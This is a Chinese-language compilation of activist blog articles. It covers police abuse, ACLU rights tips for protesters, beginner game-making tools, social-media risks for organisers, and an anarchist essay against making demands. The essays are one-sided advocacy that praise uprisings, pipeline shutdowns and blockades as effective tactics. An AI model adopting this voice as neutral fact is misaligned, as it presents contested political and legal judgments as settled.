现在，你可以找各种借口来为这些枪击事件辩护，事实上，这正是你会从政客、警察工会、执法官员和个人那里听到的辩词，他们非常乐意与警察步调一致。然而，正如这些事件所表明的那样，在一个警察国家里，真正听话、顺从、服从的公民只有死路一条。

这不是您保持和平的方式。

这不是正义。这甚至不是治安。

这当然不是自由。这是对自由的亵渎。

不幸的是，如今大多数人都在被一个暴虐的体制所统治，权势只会用枪杆子说话。人们受到刽子手、强奸犯和政府的摧残。

令人担忧的不仅仅是警察对手无寸铁的公民开枪。

还包括，特警队的突袭行动出了问题，使无辜的平民受伤，儿童受到恐吓，家庭宠物被杀。路边的脱衣搜身 —— 在某些情况下，在公众众目睽睽之下，对男人和女人进行的性侵式搜查 —— 追寻从未被发现的毒品。所谓的 “非致命性” 武器的潜在致命性和无理使用，例如对 “对警察说脏话” 的儿童使用泰瑟枪。因为他们试图从校长办公室逃跑”。

政府把人们关押在枪口之下。

政府用枪支、弹药和军事装备武装自己的文职雇员，授权他们逮捕、并训练他们军事战术。见上述 “警察军事化”。

当政府认为自己优于公民时，当政府不再为人民的利益而运作时，当人民不再能够和平地改革政府时，当政府官员不再像公仆一样行事时，当当选的官员不再代表人民的意志时，当政府经常侵犯人民的权利、并对公民实施更多的暴力时， 当政府的开支是不负责任的时，

当司法机构作为维稳机构而不是主持正义时 …… 反抗必须开始。

如你所知，对公民不服从、检举和反抗的惩罚是严厉的。如果你拒绝为你认为不道德或非法的政府项目纳税，你会进监狱。如果你试图推翻政府—或其中的任何机构—因为你认为它已经超越了它的职能范围，你会入狱。如果你试图揭发政府的不当行为，你可能已经在监狱里了。

- 《他们是如何抓捕说真话的人？灾难和教训》

长期以来，人民一直服从于政府的命令，无论现在看起来有多么极端。人们支付了政府要求的任何税收、罚款，无论多么离谱。人们容忍了政府的侮辱和虐待，无论有多恶劣。人们对政府的不检点和无能视而不见，无论它有多轻率。人们对其无法无天、放荡不羁和腐败行为保持了沉默，无论其有多非法。

而现在，人们站起来了，不再容忍。你知道这付出了多少，承担了多么大的风险。

所以，站起来的人必须捍卫自己的目标，绝不能让这份巨大的付出功亏一篑。绝不能让糟糕的策略毁掉一切。

暴力只会摧毁你，而不会摧毁压迫你的人。不要傻。

- 我们的 列表-5 “直接行动” 中推荐了很多行动技巧，希望它们能真正发挥作用

CampaignZero 发布了明确的诉求 *#8toAbolition* 这是稳健的第一步 在这里看到

公民自由联盟推荐给反抗者的应对警察的技巧

「图」

ACLU 推荐了一系列策略，给参与抗议行动的人们，包括：

- 如果您被警察拦住，请问他们您是否可以走开。如果他们同意，请冷静地走开。
- 如果您被捕了，不要说任何话。 立即要求律师。 不要签署任何东西。 没有律师在场，请勿同意任何事情。
- 向警察要求打本地电话的权利。 如果您打电话请律师，警察是不允许偷听的。如果您打电话给其他人，他们很可能会偷听。

- 记住，您有权拒绝警察搜查您自己的身体或自己的物品。如果您明确同意了搜查，在日后出庭的时候将对你不利。
- 当您合法地出现在任何公共场所时，您都有权以清晰的视角拍摄任何东西，包括政府建筑物和警察。
- 警察不应该擅自没收或要求查看您的照片或录像，也不得在任何情况下要求您删除数据。视觉记录受到完全保护，但是，某些州已尝试根据窃听法来规范音频部分。
- 如果您认为自己的权利受到侵犯，请写下您记得的所有内容，包括警员的警号和巡逻车的编号，以及他们工作的机构。
- 记得获取目击证人的联系信息，并拍摄任何受伤的照片。

详细内容在这里《Protesters' Rights》○□

原文

想做自己的电子游戏吗？6种工具帮您实现这点 - iYouPort

行动技巧、战术和原理

你不需要很多钱，也不需要花十几年的时间学编码。只要您拥有创造力，就能实现理想或财富，更好的是两者兼备 ……

「图」

「图」

作为一种娱乐方式，视频游戏很可能将取代电影和音乐，成为世界上最受欢迎的娱乐方式。

几乎每个人都是玩家。无论是只玩奇怪的休闲手机游戏，还是花费数百小时的时间在AAA硬核游戏中冲刺。

并且更重要的是， 人们可以从游戏中学到很多知识 —— 那是任何文字论述和视频指导都无法实现的培训目标 。还记得我们曾经推荐过的反抗技巧游戏吗？在下面回顾：

- 《 7个以抵抗为主题的棋盘游戏，升级你的战斗技巧 》

很多当权者会责令封锁游戏，因为他们知道游戏的能力。

「图」

「图」

中国开启游戏实名制政策，以监视每个人对视频游戏的使用情况。 在这里看到原报道

但是如果更多人学会自己制作游戏呢？在您所在的社区内实现更迷人的技术技巧培训？会不会更好 ……

人们也许对游戏开发有所误解，认为似乎只有充足预算和才华横溢的人才可以进入游戏开发领域。事实上并非如此。

对于独立的小型游戏开发者而言，如今不仅是历史上最好的时机，而且，实现您的视频游戏愿景也能是很简单的事。

已经有大量的游戏创建工具就摆在那里，非专业和没有技术经验的开发人员也可以使用它们来实现自己的愿景。

本文将介绍六个工具的介绍，旨在从成本和技术技能两方面减轻游戏开发的辛苦。其中有些甚至可以被用来创造那种能红极一时的游戏，帮你赚钱。

1、Stencyl

「图」

「图」

Stencyl 是基于订阅的游戏创建工具，可让您轻松地为多个平台创建2D游戏。游戏准备就绪后，您可以将其作为应用程序发布到 Android 和 iOS，但也支持所有桌面平台和浏览器。

如果您喜欢手机游戏，那么您很有可能实际玩过 Stencyl 制作的游戏。

使用该工具编写的许多游戏已跻身各种应用商店的前十名。 其中 Wrassling 是一个特别有趣的游戏，在发行时得到了很多好评。

Stencyl 引以为豪的是，制作者可以完全不必为任何代码而揪头发，至少不是原始形式。在游戏逻辑方面，他们明智地使用拼合系统，将不同的逻辑参数汇总在一起，然后填写变量。

因此，实际上，有很多“编码”，但是坦率地说，它就像使用乐高积木一样简单。

2、RPG大师（各种版本）

「图」

「图」

JRPG 仍然代表着蓬勃发展的游戏类型，现在您可以使用 RPG Maker 轻松制作经典的《最终幻想》那类游戏。有许多版本的 RPG Maker 可选。

最好仔细检查下哪个版本的工具最适合您的需求，因为特定版本具有某些特定的功能。例如，虽然 RPG Maker XP 最便宜很诱人，但有些技巧您无法使用。但另一方面，由于某些开发者对其地图系统的偏爱，XP仍然具有强大的追随者。

如果您想制作特定风格的游戏（或进行一些类似的修改），那么 RPG Maker 应该是您的第一站。

RPG Maker 一直是 Windows 游戏的创造者，但现在可以发布到其他平台（例如 Android），尽管需要一点调整才能使其正常工作。

3、Twine 2.0

「图」

「图」

Twine 突破了应该算作游戏创作工具的极限。它最初被用来建立用户自己选择的冒险型体验.

Twine 是一种开源工具，基本上可以让您构建一个庞大的故事节点网络，然后将其发布为可运行的HTML应用。

能将 Twine 从交互式的叙事工具提升到可以实际制作游戏的东西是在于它的脚本编写能力。用户能够构建简单的地牢爬虫并将游戏玩法添加到自己的故事中。

Twine 2.0无疑是此列表中最基本的工具之一，但是如果使用得当，它可以用于获得令人难以置信的强大效果。还记得 《黑镜》“潘达斯奈基” 那集 吗？它里面就使用了 Twine 2.0。

4、Game Maker Studio 2

「图」

「图」

Game Maker Studio 2是游戏创作软件包中的最新版本，可追溯到1999年，当时它被称为 Animo。

这是一款用于制作2D游戏的工具，几乎包含制作2D风格的游戏所需的一切。一些3D的东西也是可能的，但没有2D创建系统那种通常简单直观的环境。

通过 Game Maker Studio，您可以为2D对象设置动画、绘制原始2D图元并获得所需的外观。它具有许多直观的工具可以使用。

在 Game Maker Studio 的帮助下有许多商业上成功的游戏，但是最著名的游戏无疑是 Undertale。

该产品有许多平台支持。您可以发布到 Windows，macO，Ubuntu，HTML5，Android，iOS，PS4，Xbox One 甚至是 Switch。

Game Maker Studio 不是免费的，但是有一个负担得起的 “ Creator Edition”，它限制了用户在 Windows 和 Macintosh 上进行发布。但您始终可以升级到 “Desktop” 许可，以扩展您的游戏的购买范围。

5、ClickTeam Fusion 2.5

「图」

「图」

由法国开发者 Clickteam 创建的 Fusion 2.5 对于想要制作2D游戏但又不想花几年时间学习编码的人来说是一个好的选择。

它使用了定制的编码语言，非常简单，以至于普通用户可以在不到一小时的时间内学会它。

有大量使用 Fusion 2.5 制作的商业上成功的独立游戏，其中最著名的可能是Freddy 的《五夜狂欢》。开发人员使用 Fusion 2.5 制作游戏，并使用 3ds Max 预先渲染3D图形。

这个例子只是说明，只要您有创造力就可以做到什么样。

6、Construct 3

「图」

「图」

Construct 3 是高度流行游戏开发工具的最新版本。与 Stencyl 一样，您需要每月（或每年）支付访问开发环境的费用。您制作的任何游戏都是您的财产，您可以自由出售它们以获取利润。

Construct 3 仍是相当新的东西，但是 Construct 2 已经产生了一些值得注意的游戏。

Construct 可以导出到 JavaScript、HTML5 和其他一些与PC和Web兼容的标准，也有原生的 Android 和 iOS 支持。

可视化脚本系统可能是 Construct 的最大卖点，并且被认为是对游戏逻辑设计的一种特别直观的理解。定价也相当合理，特别是如果您考虑成果可能是一款热门独立游戏能为您带来多少财富的话。

打造自己的大片

游戏世界充斥着各种小型独立开发者的故事，他们凭借一款没人能放下的游戏而大受欢迎。

游戏好还是不好，并不在于投了多少钱；好的游戏都必需具有创新的设计，完善和引人注目的中心机制的特定组合。

虽然掌握一些编码的技术技能总是一个好主意，但是这些直观的游戏创作工具意味着您无需费心就能制作出您一直想要的游戏。它所要做的就是创造力，和一个好点子。

要不要试试看？〇

原文

活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项 - iyouport

社会反抗和思考行动技巧、战术和原理

（2020年7月31日存档）往最坏处想不会错

社交媒体对于组织公民抵抗运动来说可能是种绝妙的工具，但是，对于行动者而言，它们也很可能是危险的地方。

阿拉伯之春的灾难之后，几乎所有安全人士都会告诉你：远离社交媒体。

但某些运动可能会决定冒着很高的风险去使用 Facebook 或微信这类东西，只是为了更快获得知名度和公众支持，或者只是个姿态，以此来表明他们不害怕受到威胁。

而更多其他抗议运动为了试图避免风险就根本不使用社交媒体。

简单说，反抗者必须做出战略性的选择。本文的目的是帮助您评估在抗议活动中使用社交媒体工具的风险。

首先，对于抗议者来说，重要的是要了解：即使您所说的一切都处于“封闭”或“私有”的群组页面中，也不应被视为安全 —— 只要您使用的是寡头公司提供的服务，就是那些大多数人都能叫得上名字的服务。

即便是真正靠谱的端对端加密通信（比如signal）您也要仔细审核每个人，否则很难阻止渗透者进入您的团队。

telegram那种大群组极其不安全，并且它默认不加密；微信、Facebook 就更不用说了。

即使您确实信任群组中的每个人的身份，这些寡头公司也会将您的私人信息转交给政府、将个人页面和群组页面的内容移交给政府。他们

经常干这种事，而且会持续干这种事。还记得吗：

- 《他们是如何抓捕说真话的人？灾难和教训》

于是，作为思考清单，您至少需要问自己以下这些问题：# 您是否仅出于组织目的就有被逮捕的风险、或人身威胁危险？如果是这样，您准备好了吗？

- 社区成员如果给您点赞表示支持，他们是否有风险？如果有，他们准备好了吗？
- 准备参加抗议运动的人们如果分享了任何相关帖子或评论，是否可能会在游行发生之前、期间或之后被逮捕？如果是这样，他们准备好了吗？

1. 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

- 更多方法见 列表-5 “护盾”

1. 《角色扮演》

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

1. 《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

请注意，您在社交媒体上撰写的 *任何* 与行动有关的计划，都将对您不利。

但是，有些人会故意记录他们的抵抗活动，以此来提高自己的知名度。

就 Valve Turners 而言，激进活动家于2016年10月11日关闭了5条不同的输油管道，以引起当局的注意 —— 故意让当局逮捕他们，为的是引起更多人关注他们的反抗事业，并在法庭上证明他们的行为对于保护人民是必要的。

这些激进活动家并不是坐在管道旁等着警察来逮捕他们，他们还制作了有关整个行动的视频、网站和社交媒体帖子。

对于使用社交媒体进行行动组织，最重要的是要记住常识：仅仅因为许多人使用某个社交媒体（Facebook/微信/Twitter）并不意味着活动家应该将其用于组织游行示威和其他抗议行动。

就如公民抵抗运动中的任何战术一样，活动家和组织者必须采取有目的的战略方法 —— 仔细比较自己希望使用的在线平台的优缺点，尤其，要详细考虑如何最好地支持可能受到威胁的抗议运动的生命和生计。〇

原文

要运动，不诉求 - iyouport

无政府主义行动技巧、战术和原理长读

关于为什么要呼吁您停止上访式的维权

如果必需提要求，那就只有一个：别惹我们

每当有新的草根运动兴起，那些观察家们都会指责它 “缺乏明确的诉求”。 为什么抗议者不会将自己的目标总结为一个连贯的解决方案？为什么没有代表可以与当局谈判，通过制度渠道推进具体议程？为什么这些运动不能用熟悉的语言，用适当的礼节来表达自己？

很多时候，这些都只是那些希望运动只限于乖巧的诉求的人的虚伪言辞。当反抗者追求他们不愿意承认的议程时，他们就会指控反抗者 “非理性或不连贯”。

比较一下2013年的 “人民气候大游行” 和2015年4月的巴尔的摩起义。在 “气候大游行” 中，40万人团结在一个简单的信息背后，却只做了很少的抗议活动，以至于当局连一次逮捕都没有必要。曾经有40万人在纽约的任何地方举行抗议却没有警察逮捕任何人吗？那是因为抗议不只是作为压力阀，而是作为积极的安抚—— 作为减少抗议者与他们所反对的秩序之间的摩擦的一种方式。

许多人赞扬了气候游行，同时嘲笑巴尔的摩起义是非理性的、不合情理的、无效的；然而，气候游行几乎没有产生什么具体影响，而巴尔的摩起义却迫使首席检察官对警察提出了几乎前所未有的指控。你可以打赌，如果40万人对气候正义的反应就像几千人对弗雷迪·格雷谋杀案的反应一样，政客们会改变他们的优先事项。

即使是那些出于好意而提出诉求的人，通常也会把无诉求误解为一种 “不作为”，而看不到它是一种战略选择。然而今天的无诉求反抗运动并不是政治不成熟的表现 —— 它们是对整个政治体系所特有的僵局的务实回应。

如果当局如此轻易地答应抗议者的要求，那可以打赌不久后就会看到

更多这样的抗议出现，当权者很明白这点。事实上，从奥巴马到激进左翼联盟，即使是看起来最理想主义的政客，也没有能够贯彻让他们当选的改革承诺。巴尔的摩抗议发生后，对杀害弗雷迪·格雷的凶手提出指控的事实表明，要想取得任何进展，唯一的办法就是彻底断绝上访。

- 关于奥巴马《应许之地的虚假承诺》

所以，问题并不在于今天的运动缺乏诉求，而是在于诉求政治本身。如果我们寻求结构性的改变，就需要在那些掌权者的话语之外，在他们的机构所能做的框架之外设置我们自己的议程。我们需要停止提出诉求，开始设定我们的目标。以下就是为什么。

（“我们正在开始一场革命。”上面是关于罗贾瓦的食物自治与合作文化的短视频。）

提出诉求会使你处于弱势的谈判地位

「图」

即使你的意图仅仅是谈判，你也会因为从一开始就提出最起码的安抚性诉求而使自己处于较弱的讨价还价地位。

没有哪个精明的谈判者会从做出让步开始。

更聪明的做法是表现出顽固不化的一面。所以你想谈条件？开个价吧。同时，我们会在这里堵住高速公路、大罢工，让他们的正常运转停滞。

没有什么比能够绕过官方机构，自己实施我们想要的改变更有力的筹码了—— 这才是直接行动的真谛。每当我们能够做到这一点的时候，当局就会争先恐后地给我们提供一切我们之前苦苦哀求的东西。例如，使堕胎合法化的“罗伊VS韦德”案的裁决，是在像 Jane Collective 这样的团体建立了自组织的网络之后才发生的。集体建立了自发组织的网络，为数万名女性提供了负担得起的堕胎服务。

当然，那些能够直接实施他们所希望的改变的人不需要向任何人提出诉求 —— 他们越早认识到这一点就越好。还记得2014年2月，波斯尼亚的人们是如何烧毁政府大楼，然后召开全会，制定诉求以提交给政府的吗？一年后，他们除了痛苦的刑事指控外，什么都没有得到，而政府又像以前一样稳定运作，继续腐败。上面写的是：做给我们

看，不要说给我们听

将运动限制在特定的诉求上，扼杀了多样性，使其陷入失败的境地

「图」

传统的看法是，运动需要核心诉求来凝聚：没有诉求，运动就会分散、短暂、无效。

但是，有不同诉求的人，或者根本没有诉求的人，仍然可以共同建立集体的力量。如果我们把运动理解为对话、协调和行动的空间，就很容易想象一个运动如何推进各种议程。越是横向结构的运动，就越能容纳不同的目标。

事实上，几乎所有的运动都在如何构建自己的结构和如何确定目标的优先顺序上受到内部冲突的困扰。对需求的诉求通常是由运动中对现行体制投入最大的派别产生的，其根本性思路是借助权力游戏满足自己的需求从而捍卫现行体制整体不变，是作为使那些想自主建立权力而不是简单地向当局请愿的人失去合法性的一种手段。这就把真正的政治分歧误解为仅仅是无组织状态，把真正反对治理结构的行为误解为政治幼稚。

迫使一个多样化的运动将其议程缩减到几个具体的诉求，不可避免地将权力巩固在少数人手中。因为谁来决定哪些诉求要优先考虑？通常，是那些在这个社会其他地方拥有不成比例权力的人：富有的、多数族裔的专业人士，他们精通机构权力和企业媒体的运作。在社会上被边缘化的人们在自己的反抗运动中再次被边缘化，以“功效”的名义。

然而，这很少能使运动更加有效。一个有差异空间的运动可以成长；一个以一致契约为前提的运动。一个包含各种议程的运动是灵活的、不可预测的；很难收买它，很难欺骗参与者放弃自主权以换取一些让步。一个崇尚一致性的运动，必然会疏远一个又一个的人群，因为它从属于他们的需求和关切。

一个融合了各种观点和批判的运动，可以制定出比单一问题运动更全面、更多面的战略。强迫所有人支持一套诉求是糟糕的战略：即使可行，也不会奏效。

将运动局限于特定的诉求，会破坏运动的持久性

「图」

如今，随着历史的发展越来越快，诉求往往在运动还没开始的时候就已经过时了。比如针对迈克尔·布朗被杀案，改革派要求警察佩戴身体摄像头 —— 但是，在这场运动全面展开之前，大陪审团就宣布，谋杀埃里克·加纳的警察也不会受到审判，尽管对加纳的谋杀行为就是被摄像头完整拍下的。

- 关于身体相机为什么是愚蠢的《身体相机适得其反吗？中国正在开始流行这种东西》

以具体诉求为前提的运动，一旦这些诉求被事件超越，就会崩溃，而它们所要解决的问题却依然存在。即使从改革派的角度来看，围绕着它们所解决的问题建立运动，而不是任何特定的诉求，也将更有意义。

将运动限制在具体的诉求上，会给人一种假象，就像是有简单的办法能解决实际上极其复杂的问题那样

「图」

“好吧，你有很多抱怨 —— 谁又没有呢？但告诉我们，你提出的解决方案是什么？”（就如中国的网络流行语“你行你上啊”）

对具体细节的要求是可以理解的。单纯的发泄是没有用的，重点是要改变世界。

但是，有意义的改变所需要的东西要比当局可能轻易给予的任何微小调整都要多得多。当我们说得好像我们所面临的问题有简单的解决方案似的，急于表现自己不亚于政府政策专家的“实际”时，无论我们的诉求是否得到批准，我们都为失败埋下了伏笔。在我们还没有发展出从根本上解决问题的集体能力之前，这只会引起失望和冷漠。

特别是对于我们这些相信根本问题在于社会中权力和机构的不平等分配，而不是需要这样或那样的政策调整的人来说，为了使自己合法化而徒劳地承诺简单的补救措施是一个重大错误。反抗者的工作不是提出现成的解决方案，让大众在一旁鼓掌；相反，反抗者的挑战是创造空间，让人们能够在持续和集体的基础上直接讨论和实施解决方案。

反抗者不应该提出快速的解决方案，而应该传播新的做法。我们不需要蓝图，而是需要出发点。

提出诉求的前提是，你想要的东西，你的对手可以答应你

「图」

相反，即使统治者有一颗金子般的心，现行的体制是否能给予反抗者想要的大部分东西，也是值得怀疑的。没有任何公司的倡议能阻止气候变化；没有任何政府机构能停止对民众的大规模监视；没有任何警察部队能废除白人特权。只有非政府组织的组织者还在坚持这些事情是可能的幻想—— 可能是因为他们的工作取决于此。

一个足够强大的运动可以对工业污染、国家监控、和制度化的白人至上主义进行真正的打击，但前提是它不能仅仅局限于上访。

以诉求为基础的政治将整个变革的范围限制在现有秩序的逻辑中可以进行的改革这一狭隘方面，将反抗者排挤在外，将真正的变革永远推迟到地平线之外。

向当局要求他们不能答应、能答应也不会答应的事是没有用的。反抗者尤其不应该给当权者一个借口，让他们获得比他们已经拥有的更多的权力，借口是他们需要这种权力 “来满足反抗者的要求”。我们唯一的要求就是：别惹我们

向当局提出诉求只会使其权力合法化，将权力集中在当局手中

「图」

对非营利组织和左翼联盟来说，提出他们知道永远不会被答应的诉求是一个由来已久的传统：不要入侵伊拉克，拯救人民而不是银行，让警察停止杀人 …… 作为对那些向更精明的角色负责的官僚们的短暂听证会的回报，他们淡化了自己的政治，并试图让不那么抱怨的同事们乖乖听话。这就是他们所说的实用主义。

这种努力可能达不到他们的明确目的，但他们确实达到了一些目的：他们构筑了一种叙事，在这种叙事中，现有机构是唯一可以想象的变革主角。

这反过来又为更多徒劳无功的倡导活动铺平了道路，为更多的竞选场面铺平了道路，在这些场面中，新的公职候选人蒙蔽了那些年轻的理想主义者们，为更多的瘫痪年限铺平了道路—— 让普通人只能想象通过某个政党或组织的调解来获得自己的权力。把磁带倒带，再放一

遍。

真正的自决不是任何当局能够给予我们的。我们必须通过依靠自己的力量来发展自决，将自己作为历史的主人公，将我们自己放在叙事的中心。

过早提出诉求，只会提前限制运动的范围，关闭可能的领域

「图」

在一场运动的初期，当参与者还没有机会感受到他们的集体力量时，他们可能无法认识到自己所希望的变革到底有多彻底。在运动轨迹的这一点上提出诉求，可能会阻碍运动的发展，限制参与者的雄心和想象力。

同样，在一开始就为缩小或淡化其目标设定先例，只会增加这种情况一再发生的可能性。

想象一下，如果“占领”运动在一开始就达成了具体的诉求—— 它还会成为一个开放的空间，让如此多人可以在其中聚会、发展自己的分析，并变得激进吗？或者，它是否会最终成为一个单一的抗议营地，只关注企业人格、削减预算，或许还有美联储？一个运动的目标最好是随着运动本身的发展而发展，与其能力成正比。

提出诉求确立了一些人作为运动的代表，建立了内部的等级制度，使他们有动力控制其他参与者

「图」

在实践中，将一个运动团结在具体诉求的背后，通常意味着指定发言人代表运动进行谈判。即使这些发言人是根据他们的承诺和经验“民主地”选出来的，但由于扮演这个角色，他们也会不由自主地产生与其他参与者不同的利益。

为了保持他们作为谈判者的信誉，发言人必须能够安抚或孤立任何不愿意配合他们达成的讨价还价的人。这让有抱负的领导人有动力去证明他们能够在运动中控制局面，希望在谈判桌上赢得一席之地。

那些当初以不妥协的行动为运动赢得影响力的勇敢的人们，突然发现后来加入的所谓职业活动家在告诉他们该怎么做，或者否认他们是运

动的一部分。2014年8月，这种戏剧性的情况就在弗格森上演，在那里，通过站出来对抗警察而使运动得以启动的当地人被政客和公众人物诽谤为“利用运动从事犯罪活动的外来者”。事实恰恰相反：外来者正在试图劫持这场光荣的反抗运动，以使权力机构重新合法化。

从长远来看，这种安抚只能促使一场运动的消亡。这就解释了大多数领导人与他们所代表的运动之间的暧昧关系：为了对当局有用，他们必须有能力制服他们的队友，但如果运动不构成某种威胁，就根本不需要他们的服务了。因此，这类人物的特点往往是好斗的言辞和实际的阻挠奇怪地混合在一起：他们必须乘风破浪，但又要抑制住它。

有时候，对一场运动来说，最糟糕的事就是它的诉求被满足了

「图」

改革的作用就是稳定和维持现状，扼杀社会运动的势头，确保不会发生更彻底的变革。允诺一些小的诉求，就很容易分裂一个强大的运动，劝说那些不那么坚定的参与者回家，或者对那些不肯妥协的人的镇压视而不见。之所以答应这种小的诉求，只是因为当局认为这是避免更大变革的最好办法。

在动荡时期，当一切都在争夺的时候，化解正在爆发的反叛的一个方法就是，在叛乱升级之前答应它的诉求。有时这看起来甚至就像是一场真正的胜利—— 就像2013年的斯洛文尼亚，两个月的抗议活动推翻了执政政府。但是，这在解决爆发起义的系统性问题之前就彻底结束了起义，而这些问题比任何政客在任时的问题都要严重得多。当示威者还在为自己的成功而发呆时，另一个政府上台了—— 一切又恢复了原样。

在2011年埃及革命的准备期间，穆巴拉克多次提出示威者几天前的诉求；但随着街头局势的加剧，抗议者变得越来越顽固。如果穆巴拉克能更多、更早地提出，他今天可能还在执政。事实上，埃及革命最终失败了，不是因为它的诉求太多，正相反，是因为它做得不够深入：在解除独裁者的职务，但留下军队和 **deep state** 的基础设施时，革命者给新的专制者留下了巩固权力的大门。

要想革命成功，抗议者就必须在大家还在街头上、可能性之窗依然敞开的时候，拆掉政权本身的架构。“人民要求政权倒台”为埃及大部分人提供了一个方便的平台，让他们可以团结起来，但并没有让他们做

好准备去对抗随后的政权。

2013年在巴西，MPL(Movimento Passe Livre) 帮助催化了针对公共交通费用上涨的大规模抗议活动；这是近年来仅有的一个成功满足其诉求的运动的例子。数百万人走上街头，二十美分的加价被取消。巴西的活动家们写了很多文章、做了很多演讲，讲述了制定具体和可实现的诉求的重要性，以便通过渐进式的胜利来积聚势头。接下来，他们希望迫使政府实现交通免费。

为什么他们反对涨价的运动能够成功？当时，巴西是世界上为数不多的经济上升的国家之一；它从全球经济危机中受益，从动荡的北美市场吸引投资资金。同时在其他地方—— 在希腊、西班牙，甚至在美国，政府挤墙挨打的紧迫感不比反紧缩的抗议者少多少，即使他们愿意，也不可能答应反抗者的要求。并不是因为缺乏具体的诉求，其他运动都无法取得这样的让步。

然而，不到半年后，当街道空荡荡、而警察又恢复了他们的权力时，巴西政府这次又推出了一系列更大的涨价措施，这次涨幅更大。**MPL** 不得不重新开始抗议。 事实证明，你不可能一次改革就达成目标。巴西的MPL运动选择的是一条西西弗斯之路

如果你想赢得让步，就要瞄准目标以外的地方

「图」

即使你想要的只是对现状进行一些小的调整，但着手实现结构性变革仍然是一种更明智的战略。

很多时候，为了实现具体的小目标，抗议者必须把目光放得更高。那些拒绝妥协的人向当局提出了一个不可取的替代方案，而不是给改良派以可乘之机。

总会有人愿意站在谈判者的立场上—— 但拒绝的人越多，谈判者的谈判地位就越强。这里的经典参考点是马丁·路德·金和马尔科姆·X之间的关系：如果不是马尔科姆·X所隐含的威胁，当局不会有这样的动机与金博士进行谈判。

对于我们这些想要真正彻底改变的人来说，淡化我们对公众消费的欲望是没有什么好处的。奥弗顿窗口 —— 被认为在政治上可行的可能性范围 —— 不是由那些所谓的政治光谱中心的人决定的，而是由离群者决定的。

选择的分布越广，开辟的领域就越多。其他人可能不会立即加入你的边缘地带，但如果知道有人愿意坚持这一议程，可能会使他们自己更有胆量采取行动。

纯粹从实用主义的角度来看，那些接受多样化战术的人，即使在取得小胜利的时候，也会比那些试图限制自己和他人、排斥拒绝被限制的人的做法要强。

另一方面，从长期战略的角度来看，最重要的不是反抗者是否取得了任何特定的即时结果，而是：每一次参与如何为下一轮定位。如果反抗者无休止地推迟自己真正想问的问题，正确的时刻永远不会到来。

我们不仅仅需要赢得让步，我们还必需发展能力。

做到*无诉求*并不意味着让出政治语话空间

「图」

也许支持提出具体诉求的最有说服力的论点是，如果抗议者不提出诉求，其他人就会提出 —— 劫持我们组织起来的势头，以推进他们自己的议程。如果因为我们无法提出要求，人们最终围绕着自由主义改革主义的平台—— 或者像今天欧洲许多地方一样，围绕着右翼民族主义的议程，那怎么办？

当然，这说明了不向那些与我们分享街道的人表达我们的改革愿景的危险性。在没有沟通我们的目标的情况下升级战术是错误的，好像所有的对抗都必须朝着解放的方向发展。在乌克兰，引起 阿拉伯之春和“占领” 运动的同样的紧张局势和势头，也产生了民族主义革命和内战，我们看到即使是法西斯主义者也能将我们的组织和战术模式挪用于自己自己的目的。

但这很难成为向当局提出诉求的理由。相反，如果我们总是把自己的激进愿望隐藏在一个共同的改良主义阵线内，害怕疏远普通民众，那么那些对真正的变革不耐烦的人就更有可能奔向民族主义者和法西斯主义者的怀抱，因为只有他们才会公开寻求挑战现状。

抗议者需要明确自己想要什么、以及打算如何去实现它。不是为了把我们的方法论强加给每个人，就像专制的组织者那样，绝不是，而是为了给其他所有正在寻找前进道路的人提供一个机会和榜样。不是为了提出诉求，而是因为这与诉求恰恰相反：我们想要自决，这是任何人都无法给予我们的。*2012*年在伦敦的涂鸦，以*1968*年*5*月在巴黎起

义的口号做模版的改写

如果不是诉求，那么是什么

「图」

您分析的方式、您组织的方式、您战斗的方式—— 这些应该不言而喻。它们应该作为一种邀请，邀请大家加入您，以一种不同的方式进行政治活动，以直接行动而不是请愿为基础。弗格森和巴尔的摩的人们对迈克尔·布朗和弗莱迪·格雷的谋杀作出回应，与数十年来哀求社区监督相比，他们更能强有力地解决警察暴力的问题。

通过抓住空间和重新分配资源，反抗者避开了毫无意义的迂回代表机制。如果必须向当局发出一个信息，那就让它成为这个单一、简单的要求：别惹我们。

与其提出要求，不如让我们开始设定目标。不同的是，我们要根据自己的条件，按照自己的步伐，在机会出现时制定目标。它们不需要被框定在执政者的逻辑中，它们的实现也不取决于当局的善意。改良主义的精髓就在于，即使你赢得了什么，你也不会保留对它的控制权。

反抗者应该发展自己的行动力，独立于现有体制。这是一项长期的工程，也是一项紧迫的工程。

在追求和实现目标的过程中，反抗者会发展出寻求更多、更远大目标的能力。这与改革主义运动在其诉求被实现或被证明不切实际时往往崩溃的方式，形成鲜明对比。

如果反抗运动能够容纳各种目标，只要这些目标不公开冲突，您的运动就会更加强大。当我们了解彼此的目标时，就有可能确定哪些地方的合作是有意义的，哪些地方的合作是没有意义的—— 这种明确性并不来自于排队支持一个最低共同点的诉求。

从这个有利的角度，您可以看到，选择不提出诉求并不一定是政治不成熟的标志。恰恰相反，它可以是一种拒绝掉进上一代人残疾的陷阱的精明战略。今天的反抗者应该在代表性政治的笼子和队列之外，在诉求的政治之外，学习发展自己的力量。〇

Voting VS Direct Action

原文

违者必究还是宽宏大量？- 闲聊从波普尔到失败的革命 - iyouport

行动技巧、战术和原理

“世界上没有、历史上也没有任何人，是通过诉诸压迫他们的人的道德感而获得自由的” - 阿萨塔·沙库尔。送这句话给伦敦涂鸦的支持者。

近日的交流话题很多，从伦敦涂鸦、到加密后门、再到法西斯主义，它们都指向同一个问题：我们应该支持宽容吗，还是应该支持严打？您可能对这个议题并不陌生，毕竟曾经很多社会问题都被指向了要求政府“管管”。于是本文希望能从一个在中文内容里可能相对罕见的角度上探讨相关话题。

不再就单一热点故事进行讨论。

由于对话中一位读者提及了卡尔·波普尔在“开放社会及其敌人”中提出的理论：宽容悖论。我们就以此为主题。

以下内容仅包含对要点的整理。

波普尔的 "宽容悖论" 指出，终极宽容包含自我否定。对极权主义替代方案的过度容忍会导致替代品撕裂原有的宽容秩序。

按照通俗的解释，波普尔的论点可以简化为：为了避免法西斯审查制度，有必要审查法西斯主义者，以及所有那些作恶的专制政权。

当然，这里的论据将描述法西斯/专制政权对自由社会的攻击和成功的法西斯政变 —— 一种 "显而易见" 的思想的 "显而易见" 的证明。任何意识形态的追随者都是以唯一可用之常识的形式来看待它的；但只有当意识形态作为一种具体的思想呈现在人们面前时，它才是一种意识形态，这种思想受具体条件的制约，在历史背景下以及在其替代品的背景下被定义。

"宽容的悖论"是一个多层次的建构。它不仅作为一种逻辑论证得到支

